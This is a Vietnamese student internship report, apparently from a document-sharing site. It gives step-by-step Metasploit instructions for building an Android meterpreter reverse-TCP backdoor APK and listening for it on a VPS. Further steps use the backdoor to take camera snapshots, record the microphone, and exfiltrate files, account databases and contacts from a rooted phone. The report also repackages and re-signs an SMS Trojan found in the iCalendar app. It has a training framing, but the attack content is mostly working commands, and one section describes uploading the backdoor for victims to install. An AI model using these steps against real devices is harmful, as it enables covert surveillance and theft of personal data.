Sau khi đã chọn một exploit với command use, việc tiếp theo là cấu hình các options mà exploit 
này yêu cầu. Để rõ hơn exploit này nó yêu cầu cấu hình như thế nào, phải cấu hình những gì, ta sử 
dụng lệnh "show options". 
Khi sử dụng lệnh show option ta thường nhận đc một bảng gồm các cột như sau: 
Name--------------Current Setting----------------Required---------------Description 
Trong đó, ở cột required nếu giá trị là "yes" thì ta phải set giá trị cho tham số này, còn nếu là "no" 
thì ta có thể set hoặc không. Quan trọng phải xem một số nó đã cấu hình mặc định cho rồi có thích 
hợp với chúng ta hay không. 
Ta dùng lệnh “set” để cấu hình những options của module đó. 
Ngoài ra nó còn có thêm một số options khác, dùng "show advanced", "show evasion" để xem. 
Sau khi cấu hình xong ta cần kiểm tra xem việc cấu hình đã đúng hay chưa. Để kiểm tra việc cấu 
hình ta dùng lệnh "check" để xem mục tiêu có bị tấn công được hay không. Đây là một cách nhanh 
để ta kiểm tra xem việt cấu hình các options bằng lệnh set có đúng hay không và mục tiêu thực sự 
có lỗ hổng để khai thác được hay không. Nhưng không phải tất cả các exploit đều thực sự có thể 
kiểm tra được bằng việc sự dụng lệnh check. Đôi khi ta phải thực sự exploit nó mới biết được. 
3.3.2.3.Lựa chọn payload 
Payload là một đoạn code đc chạy trên máy victim, dùng để thực hiện một số họat động nào đó, 
hoặc dùng để kết nối về máy của hacker. 
Vậy làm sao để có cái payload này trên máy của victim? Có 2 phương pháp chủ yếu được dùng. Đó 
là gửi cho victim thông qua việc phân tính một lỗi, lỗ hổng nào đó trên hệ thống victim, từ đó đột 
nhập và đưa đoạn payload này vào máy victim. Kiểu thứ 2 là gửi trực tiếp cho victim, chờ đợi 
victim sơ ý nhận nó. 
Để hiện thị các payloads tích hợp cho exploit hiện tại chúng ta đang dùng, ta dùng lệnh "show 
payloads". 
Tương ứng với mỗi OS khác nhau ta dùng một payload khác nhau, và phương pháp cũng khác nhau. 
Các giao thức dùng cũng khác nhau... Nhìn chung đối với payload có thể phân ra làm 2 loại cơ bản 
đó là bind payload và reverse payload. Khi nào ta dùng loại nào? Đây cũng là một vấn đề quan 
trọng. Nếu như máy của chúng ta (đóng vai trò là hacker) đứng sau một tường lửa, thì lúc này ta 
nên dùng bind payload. Mở một port trên máy tính và kết nối trực tiếp từ máy hacker đến máy 
victim. Còn nếu như victim đứng sau một tường lửa, còn chúng ta thì không. Khi đó chúng ta dùng 
reverse payload để connect ngược từ máy victim về máy chúng ta. Như vậy cho thấy khi tấn công 
mục tiêu, ta phải tìm hiểu rõ ràng về mục tiêu, tìm kiếm tất cả các thông tin có thể có. Dựa vào đó 
mà ta chọn cách thích hợp. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 41
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Khi ta quyết định chọn một payload nào đó, dùng lệnh "set PAYLOAD name_payload" để chọn 
payload cần dùng. 
Giả sử muốn dùng payload windows/meterpreter/reverse_ord_tcp thì ta thao tác là: 
set PAYLOAD windows/meterpreter/reverse_ord_tcp 
Ta nhận đc là: PAYLOAD => windows/meterpreter/reverse_ord_tcp 
Tượng tự để xem rõ thông tin, options về payload ta có thể dùng các lệnh như "show options ", 
"info name_payload" ,"show advanced",… 
Sau khi thực hiện tất cả các thiết lập xong thì ta dùng lệnh "exploit" để xem kết quả. 
3.4.Tấn công android dùng Metasploit Framework trong Kali Linux 
Trước tiên chúng ta sẽ tạo ra một backdoor bằng cách dùng lệnh: 
msfpayload android/meterpreter/reverse_tcp lhost=192.168.159.128 lport=8080 R > 
/root/Desktop/app.apk 
Hình 30. 
Trong đó 192.168.159.128 là địa chỉ ip của máy Kali.Chúng ta có thể xem nó bằng cách dùng lệnh: 
ifconfig 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 42
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 31. 
Và đây là file app.apk mà chúng ta vừa tạo 
Hình 32. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 43
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Tiếp theo chúng ta mở metasploit bằng cách dùng lệnh: 
msfconsole 
Hình 33. 
Chúng ta cài đặt các thông số cần thiết 
use exploit/multi/handler 
set payload android/meterpreter/reverse_tcp 
set lhost 192.168.159.128 
set lport 8080 
Với lhost và lport giống với khi chúng ta tạo file app.apk 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 44
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Hình 34. 
Ta mở một cái android ảo và tải về file app.apk, cài đặt và mở lên được giao diện như dưới, nhấp 
vào nút Reverse_tcp: 
Hình 35. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 45
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Vậy là ta đã kết nối thành công tới máy android này, ở msfconsole sẽ như sau: 
Hình 36. 
Để xem thông tin về máy, nhập lệnh sysinfo 
- Sử dụng camera: 
Để xem danh sách camera, nhập webcam_list 
Hình 37. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 46
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Để chụp hình bằng camera, nhập webcam_snap a với a là id của camera xem ở danh sách camera 
ở phần trước. Ví dụ như sau: 
Hình 38. 
- Ghi âm 
Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy 
Hình 39. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 47
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
- Lấy file từ sd card 
Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư mục 
Hình 40. 
Ta tải file app.apk trong thư mục Download của sdcard 
Dùng lệnh cd /sdcard/Download để vào thư mục 
Hình 41. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 48
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Như trên hình, ta thấy 1 file là app.apk, để tải về máy, ta nhập lệnh 
download app.apk 
Hình 42. 
Và file này sẽ được tải về thư mục root của máy Kali 
4. Thực hiện xâm nhập android thông qua mạng Internet 
4.1.Giới thiệu về VPS 
4.1.1. VPS là gì? 
Máy chủ ảo (Virtual Private Server -VPS) là phương pháp phân chia một máy chủ vật lý thành 
nhiều máy chủ ảo. Trong khi trên một server chạy một Share Host thì có thể có hàng trăm tài 
khoản chạy cùng lúc, nhưng trên server chạy VPS thì con số này chỉ bằng 1/10. Do vậy, VPS 
có hiệu năng cao hơn Share Host rất nhiều. 
Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có toàn quyền quản 
lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy, VPS hạn chế 100% khả năng bị 
hack local. 
Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung tài nguyên server, 
nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh hưởng đến các Website khác cùng 
server, riêng server VPS, một tài khoản trên VPS bị tấn công thì mọi tài khoản khác trên VPS 
đều hoạt động bình thường. 
VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã nguồn nặng, nếu chạy 
trên Share Host sẽ không đáp ứng đủ yêu cầu.Tuy nhiên, VPS đòi hỏi người sử dụng phải có 
thêm một số kiến thức về bảo mật, cấu hình server,…. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 49
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
4.1.2. Đặc điểm về thông số VPS 
Hoạt động hoàn toàn như một server riêng nên sở hữu một phần CPU riêng, dung lượng RAM 
riêng, dung lượng ổ HDD riêng, địa chỉ IP riêng và hệ điều hành riêng. 
Tiết kiệm được nhiều chi phí so với việc thuê một server riêng. 
Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng dụng khác thì có 
thể cài đặt để thực hiện những yêu cầu riêng như truy cập Web bằng trình duyệt Web trên VPS, 
dowload/upload bittorrent với tốc độ cao… 
Trong trường hợp VPS bị thiếu tài nguyên thì có thể dễ dàng nâng cấp tài nguyên mà không 
cần phải khởi động lại hệ thống. 
Có thể cài lại hệ điều hành với thời gian từ 5-10 phút. 
4.1.3. Giá trị khi sử dụng VPS 
Server mạnh với nhiều cấu hình cho phép khách hàng dễ dàng lựa chọn gói VPS phù hợp. 
Miễn phí chi phí cài đặt ban đầu cũng như cấu hình hoạt động cho khác hàng. 
Hỗ trợ khác hàng cài đặt miễn phí thêm các phần mềm riêng. 
Được cấu hình và cài đặt hệ thống Firewall và DDOS Protection. 
Bộ phận kỹ thuật kịp thời can thiệp nhanh chóng nếu có sự cố phát sinh. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 50
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
4.2.Cài đặt metasploit 
Để cài đặt metasploit trước tiên ta phải vào trang http://metasploit.com để tải bộ cài đặt metasploit 
về máy của mình. Ta nhấp vào phần Free Metasploit Download và nó sẽ hiện ra trang bên dưới 
Ở đây mình sẽ down bản METASPLOIT COMMUNITY. 
Hình 43. 
Sau khi nhấp vào link, nó sẽ xuất hiện một trang đăng kí. Mình nhập thông tin đầy đủ và nhấp vào 
SUBMIT & DOWNLOAD để nhận một license 
Hình 44. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 51
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Tiếp theo nó sẽ xuất hiện trang download, ta sẽ chọn bản phù hợp. 
Hình 45. 
Sau khi tải xong, ta bắt đầu tiến trình cài đặt. Trước tiên ta nhấp vào bản cài đặt và nhấn Next 
Hình 46. Hình 47. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 52
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Bên dưới ta chọn thư mục để cài đặt và nhấn Next 
Hình 48. 
Ta phải đảm bảo rằng các phần mềm diệt virut đều được đóng, nếu không nó sẽ ngăn cản việc cài 
đặt 
Hình 49. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 53
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
SLL Port, Server Name và Days of validity ta để mặc định 
Hình 50. Hình 51. 
Ta tiếp tục nhấn Next để bắt đầu cài đặt 
Hình 52. Hình 53. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 54
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Cài đặt xong ta nhấp Finish để kết thúc việc cài đặt 
Hình 54. 
Sau khi kết thúc việc cài đặt, ta sẽ vào link http://localhost:3790/ để đăng kí tài khoản. Ta nhấp đầy 
đủ theo những yêu cầu bên dưới và nhấn Create Account 
Hình 55. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 55
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Sau đó trình duyệt sẽ chuyển đến trang nhập key để active chương trình 
Hình 56. 
Ta vào địa chỉ mail mà ta đã sử dụng khi download bộ cài đăt metasploit, điền key vào và nhấn 
ACTIVE LICENSE 
Hình 57. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 56
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Như vậy là ta đã có một tài khoản metasploit 
Hình 58. 
4.3.Xâm nhập vào thiết bị android 
Trước tiên ta mở Terminal trong Kali Linux lên và gõ lệnh để tạo một backdoor: 
msfpayload android/meterpreter/reverse_tcp lhost=14.0.21.184 lport=4444 R> 
/root/Desktop/app.apk 
Trong đó 14.0.21.184 là địa chỉ máy VPS của ta. 
/root/Desktop/app.apk là đường dẫn chứa file vừa tạo. 
Hình 59. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 57
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Sau khi tạo một backdoor được tạo, ta tải nó lên mạng. 
Khi máy android down về cài đặt và truy cập vào thì sẽ hiện lên như bên dưới: 
Hình 60. 
Ta vào máy VPS và mở Metasploit Console lên 
Hình 61. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 58
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Sau đó ta sẽ đánh các lệnh như bên dưới để tạo một môi trường và liên kết với máy android mà ta 
sẽ tấn công: 
use exploit/multi/handler 
set payload android/meterpreter/reverse_tcp 
set lhost 14.0.21.184 
set lport 4444 
run 
Ở đây lhost và lport phải giống với lhost và lport khi tạo backdoor 
Hình 62. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 59
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Khi máy android nhấp vào biểu tượng có chữ ReverseTCP thì sẽ có thông báo là đã kết nối 
Hình 63. 
Ta gõ lệnh help để hiện lên các lệnh mà ta có thể sử dụng để hack android 
Hình 64. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 60
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
- Xem thông tin 
Ta dùng lệnh sysinfo để xem thông tin máy android 
Hình 65. 
- Xem camera 
Ta dùng lênh webcam_list để xem danh sách các camera 
Ta dùng lệnh webcam_snap x để chụp một bức ảnh từ camera của máy android. 
Trong đó: x là 1: Back Camera 
2: Front Camera 
Hình 66. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 61
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Để di chuyển đến thư mục nào ta dùng lệnh 
cd <đường dẫn đến thư mục> 
Lệnh ls để xem trong thư mục có những gì 
Hình 67. 
Ta vào thư mục /sdcard/Download để down file về 
- Download file 
Ta dùng lệnh download <tên file> để down file đó về máy VPS của ta 
Hình 68. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 62
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Muốn xóa một file ta dùng lệnh rm <tên file> 
Hình 69. 
- Đánh cắp tài khoản, danh bạ 
Để đánh cắp tài khoản trước tiên ta phải vào hệ thống của máy android. Lưu ý: máy android này 
phải được root trước đó. 
Ta dùng lệnh shell để vào hệ thống 
Dùng lệnh su để toàn quyền truy cập 
Dùng lệnh whoami để biết máy android đã được root chưa. Nếu rồi thì nó sẽ hiện thông báo là 
unknown uid 0 
Hình 70. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 63
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Ta gõ cd /data/system để vào thư mục system 
Tiếp theo gõ ls –l để xem trong thư mục có gì 
Hình 71. 
Ta gõ lệnh cp accounts.db /sdcard để copy file accounts.db về Sdcard 
Hình 72. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 64
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Sau đó ta trở về meterpreter bằng lệnh exit rồi dùng lệnh 
download file accounts.db về máy VPS của chúng ta 
Hình 73. 
Tiếp tục ta vào địa chỉ 
cd /data/data/com.android.providers.contacts/databases 
Để copy file contacts2.db về Sdcard bằng lệnh 
cp contacts2.db /sdcard 
Hình 74. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 65
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Sau đó ta download file contacts2.db về máy VPS 
Hình 75. 
Ta mở file *.db bằng phần mềm SQLite. Ta có thể down phần mềm đó về vài cài vào VPS của 
chúng ta 
Hình 76. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 66
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
5. Cài đặt SMS Trojan dùng iCalender 
5.1. Cài đặt máy ảo android AVD Manager 
5.1.1. Cài đặt JDK: 
JDK (Java Development Kit) là bộ công cụ phát triển Java. Nó bao gồm nhiều chương trình tiện 
ích như trình biên dịch javac (java compiler), chương trình gỡ lỗi, appletviewer, trình phát sinh tài 
liệu javadoc, đóng gói dữ liệu jar v.v... Nếu ai muốn lập trình ứng dụng bằng ngôn ngữ java thì bắt 
buộc phải cài JDK. 
- Bước 1: Trước tiên để cài đặt JDK, chúng ta vào link bên dưới và tải jdk về 
Link: 
http://www.oracle.com/technetwork/java/javase/downloads/index.html?ssSourceSiteId=otnjp 
Hình 77. Hình 78. 
Chú ý: Nếu chúng ta dùng hệ điều hành nào thì ta tải phiên bản dùng cho hệ điều hành đó. Ở đây 
em tải bản dùng cho windows x64. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 67
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
- Bước 2: Cài đặt jdk 
Ta nhấp chuột vào file cài đặt đã tải về và cài như các chương trình bình thường. 
Hình 79. 
5.1.2. Cài đặt android SDK 
Android SDK thực chất là tập hợp các công cụ và thư viện để phát triển các ứng dụng trên nền 
tảng hệ điều hành Android. 
- Bước 1: Trước tiên ta phải tải android SDK về máy theo link bên dưới. 
Link: 
http://developer.android.com/sdk/index.html 
Hình 80. Hình 81. 
Chú ý: ta nên tải bản phù hợp với hệ điều hành của mình. Ở đây em tải bản cho windows x 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 68
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
- Bước 2: Tải các packages trong android SDK manager 
Ta giải nén file đã down về, trong đó gồm có: một thư mục eclipse, một thư mục SDK và một 
file SDK Manager. 
Vào thư mục eclipse và mở file eclipse.exe lên. Trong eclipse, ta vào Window -> Android SDK 
Manager để mở bảng Android SDK Manager. 
Hình 82. 
Ta muốn sử dụng gói công cụ nào thì đánh dấu vào gói công cụ đó rồi nhấn Install. 
5.1.3. Cài đặt máy ảo android 
Sau khi đã tải và cài đặt các gói cần thiết cho việc cài đặt máy ảo, ta vào Window -> Android 
Virtual Device Manager để mở cửa sổ AVD Manager như bên dưới 
Hình 83. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 69
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Ta nhấp vào Create để bắt đầu tạo một máy ảo mới 
Hình 84. 
AVD name: tên của máy ảo sẽ được tạo 
Device: chọn thiết bị muốn tạo máy ảo 
Target: chọn phiên bản android cho máy ảo 
Skin: chọn kích cỡ của màn hình 
Internal Storage: chọn dung lượng bộ nhớ trong 
SD card: dung lượng thẻ SD 
Sau khi chọn xong ta nhấn OK. Để mở máy ảo lên ta nhấp vào máy ảo vừa tạo và nhấn Start. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 70
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Đây là máy ảo thu được: 
Hình 85. 
5.2. Cài SMS Trojan vào máy android ảo 
5.2.1. Các công cụ cần thiết 
- apktool: giải mã các file .apk và .rar, đóng gói apk phục vụ cho việc tùy chỉnh sửa đổi các file 
đó. https://code.google.com/p/android-apktool/ 
- dex2jar: dịch file .apk thành file .jar. https://code.google.com/p/dex2jar/ 
- id-gui: đọc code java từ file .jar. https://code.google.com/p/innlab/downloads/detail?name=jd-gui- 
0.3.3.windows.zip&can=2&q=2 
- File iCalendar.apk, một trong 11 ứng dụng bị gỡ bỏ khỏi Android Market do có chứa malware. 
- Hai máy ảo android dùng công cụ AVD Manager 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 71
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
5.2.2. Các bước thực hiện 
- Bước 1: Dùng phần mềm WinZip giải nén file classes.dex trong iCalendar.apk vào folder 
chứa công cụ dex2jar. 
Hình 86. 
- Bước 2: Vào command windows, vào trong thư mục dex2jar để thực hiện câu lệnh sau: 
dex2jar classes.dex 
Câu lệnh này chuyển đổi file classes.dex thành file classes_dex2jar.jar. 
Hình 87. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 72
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
- Bước 3: Dùng công cụ id-gui để mở file classes_dex2jar.jar có được ở bước 2 để xem 
source code của ứng dụng iCalendar. 
Hình 88. 
- Bước 4: Vào command windows, vào trong thư mục chứa apktool (phải chứa sẵn 
iCalendar.apk) và nhập 2 lệnh sau: 
apktool if iCalendar.apk 
apktool d iCalendar.apk 
Ta được kết quả: 
Hình 89. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 73
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Truy cập vào thư mục iCalendar và di chuyển đến thư mục smalicommjiCalendar 
Hình 90. 
- Bước 5: Mở file iCalendar.smali và file SmsReceiver.smali bằng Notepad và thực hiện 
như hình bên dưới sau đó lưu lại. 
Hình 91. 
Hình 92. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 74
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
- Bước 6: Vào command windows thực hiện câu lệnh sau để đóng gói ứng dụng iCalendar 
đã được chỉnh sửa thành file .apk mới tại thư mục iCalendardist 
Hình 93. 
- Bước 7: Đưa file iCalendar.apk đã tạo ở bước 6 vào thư mục bin nằm trong thư mục Java 
Hình 94. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 75
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Trên command windows vào thư mục trên và nhập các lệnh sau để verify (Signing ứng 
dụng, tạo chữ ký điện tử để thiết bị) gói apk để có thể sử dụng trên thiết bị (phải chọn run 
as administrator khi chạy cmd): 
keytool -genkey -v -keystore iCalendar-iCalendar.keystore -alias iCalendar -keyalg 
RSA -keysize 2048 -validity 10000 
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore iCalendar-iCalendar. 
keystore iCalendar.apk iCalendar 
jarsigner -verify -verbose -certs iCalendar.apk 
Kết quả: 
Hình 95. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 76
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
- Bước 8: Copy file iCalendar.apk vào thư mục platform-tools của Android 
SDK và dùng lệnh sau để cài ứng dụng vào giả lập 
adb -s emulator-5554 install iCalendar.apk 
Hình 96. 
Hình 97. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 77
Báo cáo thực tập GVHD: Võ Đỗ Thắng 
Vậy ta đã cài đặt thành công lên máy ảo. 
- Bước 9: Kích hoạt Trojan gửi tin nhắn đến máy ảo 5556 (mở ứng dụng 
iCalendar rồi click 7 lần). 
Kết quả: 
Hình 98. 
SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 78
Báo cáo thực tập
Báo cáo thực tập
Báo cáo thực tập
Báo cáo thực tập
Báo cáo thực tập
Báo cáo thực tập
Báo cáo thực tập
Báo cáo thực tập
Báo cáo thực tập
Báo cáo thực tập

More Related Content

What's hot

Báo cáo cuối kỳ - đề tài "nghiên cứu cơ chế routing của cisco mô phỏng trên ...
Báo cáo cuối kỳ  - đề tài "nghiên cứu cơ chế routing của cisco mô phỏng trên ...Báo cáo cuối kỳ  - đề tài "nghiên cứu cơ chế routing của cisco mô phỏng trên ...
Báo cáo cuối kỳ - đề tài "nghiên cứu cơ chế routing của cisco mô phỏng trên ...Đàm Văn Sáng
 
Báo cáo cuối kỳ - thực tập Athena
Báo cáo cuối kỳ - thực tập AthenaBáo cáo cuối kỳ - thực tập Athena
Báo cáo cuối kỳ - thực tập AthenaPac CE
 
Báo cáo thực tập Athena -CNTT
Báo cáo thực tập Athena -CNTTBáo cáo thực tập Athena -CNTT
Báo cáo thực tập Athena -CNTTPac CE
 
ĐÁNH GIÁ HỆ THỐNG THÔNG TIN KẾ TOÁN TRONG MÔI TRƯỜNG ỨNG DỤNG PHẦN MỀM KẾ ...
ĐÁNH GIÁ HỆ THỐNG THÔNG TIN KẾ TOÁN   TRONG MÔI TRƯỜNG  ỨNG DỤNG PHẦN MỀM KẾ ...ĐÁNH GIÁ HỆ THỐNG THÔNG TIN KẾ TOÁN   TRONG MÔI TRƯỜNG  ỨNG DỤNG PHẦN MỀM KẾ ...
ĐÁNH GIÁ HỆ THỐNG THÔNG TIN KẾ TOÁN TRONG MÔI TRƯỜNG ỨNG DỤNG PHẦN MỀM KẾ ...Nguyễn Công Huy
 
100749 nguyen hoang phuong cac
100749   nguyen hoang phuong cac100749   nguyen hoang phuong cac
100749 nguyen hoang phuong cacLan Nguyễn
 
Linux web hosting (Bao cao)
Linux web hosting (Bao cao)Linux web hosting (Bao cao)
Linux web hosting (Bao cao)An Pham
 
Bao cao cuoi li
Bao cao cuoi liBao cao cuoi li
Bao cao cuoi liLê Lãnh
 
Báo cáo thực tập ATHENA
Báo cáo thực tập ATHENA Báo cáo thực tập ATHENA
Báo cáo thực tập ATHENA Ljck Cljck
 
Đề tài: Xây dựng hệ thống thi trắc nghiệm qua mạng LAN, 9đ
Đề tài: Xây dựng hệ thống thi trắc nghiệm qua mạng LAN, 9đĐề tài: Xây dựng hệ thống thi trắc nghiệm qua mạng LAN, 9đ
Đề tài: Xây dựng hệ thống thi trắc nghiệm qua mạng LAN, 9đViết thuê trọn gói ZALO 0934573149
 
Đề tài: Một số giải pháp nhằm hoàn thiện công tác quản trị nguồn nhân lực tại...
Đề tài: Một số giải pháp nhằm hoàn thiện công tác quản trị nguồn nhân lực tại...Đề tài: Một số giải pháp nhằm hoàn thiện công tác quản trị nguồn nhân lực tại...
Đề tài: Một số giải pháp nhằm hoàn thiện công tác quản trị nguồn nhân lực tại...Dịch vụ viết thuê Khóa Luận - ZALO 0932091562
 
Bao cao thuc tap tran thanhtrung mssv 1031103002
Bao cao thuc tap tran thanhtrung mssv 1031103002Bao cao thuc tap tran thanhtrung mssv 1031103002
Bao cao thuc tap tran thanhtrung mssv 1031103002Trung Tran
 
104512 trần hoàng phương khanh
104512   trần hoàng phương khanh104512   trần hoàng phương khanh
104512 trần hoàng phương khanhLan Nguyễn
 
104527 pham thu hang
104527 pham thu hang104527 pham thu hang
104527 pham thu hangLan Nguyễn
 
Phân tích công tác tuyển dụng nhân sự khối vận hành tại Công ty TNHH Minh Ph...
 Phân tích công tác tuyển dụng nhân sự khối vận hành tại Công ty TNHH Minh Ph... Phân tích công tác tuyển dụng nhân sự khối vận hành tại Công ty TNHH Minh Ph...
Phân tích công tác tuyển dụng nhân sự khối vận hành tại Công ty TNHH Minh Ph...hieu anh
 
Báo cáo cuối kỳ athena
Báo cáo cuối kỳ athenaBáo cáo cuối kỳ athena
Báo cáo cuối kỳ athenaRingpig Luancio
 

What's hot (20)

Báo cáo cuối kỳ - đề tài "nghiên cứu cơ chế routing của cisco mô phỏng trên ...
Báo cáo cuối kỳ  - đề tài "nghiên cứu cơ chế routing của cisco mô phỏng trên ...Báo cáo cuối kỳ  - đề tài "nghiên cứu cơ chế routing của cisco mô phỏng trên ...
Báo cáo cuối kỳ - đề tài "nghiên cứu cơ chế routing của cisco mô phỏng trên ...
 
Báo cáo cuối kỳ - thực tập Athena
Báo cáo cuối kỳ - thực tập AthenaBáo cáo cuối kỳ - thực tập Athena
Báo cáo cuối kỳ - thực tập Athena
 
Baocaocuoiki
BaocaocuoikiBaocaocuoiki
Baocaocuoiki
 
Báo cáo thực tập Athena -CNTT
Báo cáo thực tập Athena -CNTTBáo cáo thực tập Athena -CNTT
Báo cáo thực tập Athena -CNTT
 
ĐÁNH GIÁ HỆ THỐNG THÔNG TIN KẾ TOÁN TRONG MÔI TRƯỜNG ỨNG DỤNG PHẦN MỀM KẾ ...
ĐÁNH GIÁ HỆ THỐNG THÔNG TIN KẾ TOÁN   TRONG MÔI TRƯỜNG  ỨNG DỤNG PHẦN MỀM KẾ ...ĐÁNH GIÁ HỆ THỐNG THÔNG TIN KẾ TOÁN   TRONG MÔI TRƯỜNG  ỨNG DỤNG PHẦN MỀM KẾ ...
ĐÁNH GIÁ HỆ THỐNG THÔNG TIN KẾ TOÁN TRONG MÔI TRƯỜNG ỨNG DỤNG PHẦN MỀM KẾ ...
 
100749 nguyen hoang phuong cac
100749   nguyen hoang phuong cac100749   nguyen hoang phuong cac
100749 nguyen hoang phuong cac
 
Linux web hosting (Bao cao)
Linux web hosting (Bao cao)Linux web hosting (Bao cao)
Linux web hosting (Bao cao)
 
Bao cao cuoi li
Bao cao cuoi liBao cao cuoi li
Bao cao cuoi li
 
Phan cường
Phan cườngPhan cường
Phan cường
 
Baocaothuctap
BaocaothuctapBaocaothuctap
Baocaothuctap
 
Báo cáo thực tập ATHENA
Báo cáo thực tập ATHENA Báo cáo thực tập ATHENA
Báo cáo thực tập ATHENA
 
Đề tài: Xây dựng hệ thống thi trắc nghiệm qua mạng LAN, 9đ
Đề tài: Xây dựng hệ thống thi trắc nghiệm qua mạng LAN, 9đĐề tài: Xây dựng hệ thống thi trắc nghiệm qua mạng LAN, 9đ
Đề tài: Xây dựng hệ thống thi trắc nghiệm qua mạng LAN, 9đ
 
Báo Cáo Cuối kỳ CNTT ATHENA
Báo Cáo Cuối kỳ CNTT ATHENABáo Cáo Cuối kỳ CNTT ATHENA
Báo Cáo Cuối kỳ CNTT ATHENA
 
Đề tài: Một số giải pháp nhằm hoàn thiện công tác quản trị nguồn nhân lực tại...
Đề tài: Một số giải pháp nhằm hoàn thiện công tác quản trị nguồn nhân lực tại...Đề tài: Một số giải pháp nhằm hoàn thiện công tác quản trị nguồn nhân lực tại...
Đề tài: Một số giải pháp nhằm hoàn thiện công tác quản trị nguồn nhân lực tại...
 
Đề tài: Xây dựng, triển khai và quản lý mô hình mạng, HAY
Đề tài: Xây dựng, triển khai và quản lý mô hình mạng, HAYĐề tài: Xây dựng, triển khai và quản lý mô hình mạng, HAY
Đề tài: Xây dựng, triển khai và quản lý mô hình mạng, HAY
 
Bao cao thuc tap tran thanhtrung mssv 1031103002
Bao cao thuc tap tran thanhtrung mssv 1031103002Bao cao thuc tap tran thanhtrung mssv 1031103002
Bao cao thuc tap tran thanhtrung mssv 1031103002
 
104512 trần hoàng phương khanh
104512   trần hoàng phương khanh104512   trần hoàng phương khanh
104512 trần hoàng phương khanh
 
104527 pham thu hang
104527 pham thu hang104527 pham thu hang
104527 pham thu hang
 
Phân tích công tác tuyển dụng nhân sự khối vận hành tại Công ty TNHH Minh Ph...
